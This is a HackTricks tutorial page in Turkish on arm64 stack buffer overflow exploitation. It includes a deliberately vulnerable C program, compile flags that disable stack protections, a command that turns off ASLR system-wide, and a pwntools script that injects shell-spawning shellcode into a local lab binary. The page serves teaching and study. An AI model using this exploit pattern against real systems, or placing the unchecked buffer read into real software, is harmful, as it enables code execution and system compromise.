Stack Shellcode - arm64

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

arm64 hakkında bir giriş için şuraya bakın:

Introduction to ARM64v8

Linux

Code

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

pie, canary ve nx olmadan derleyin:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

ASLR yok & canary yok - Stack Overflow

ASLR'yi durdurmak için çalıştırın:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Bulmak için offset of the bof check this link.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Tek "karmaşık" olan şey burada çağrılacak stack üzerindeki adres olurdu. Benim durumumda exploit'i gdb ile bulduğum adresi kullanarak oluşturdum, ama exploit yapınca işe yaramadı (çünkü stack adresi biraz değişmişti).

Oluşturulan core file'ı (gdb ./bog ./core) açıp shellcode'un başlangıç adresinin gerçek değerini kontrol ettim.

macOS

tip

macOS'ta NX'i devre dışı bırakmak mümkün değil çünkü arm64'te bu mod donanım seviyesinde uygulanıyor, dolayısıyla devre dışı bırakılamıyor; bu yüzden macOS'ta stack'te shellcode içeren örnekler bulamayacaksınız.

macOS için bir ret2win örneğine bakın:

Ret2win - arm64

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin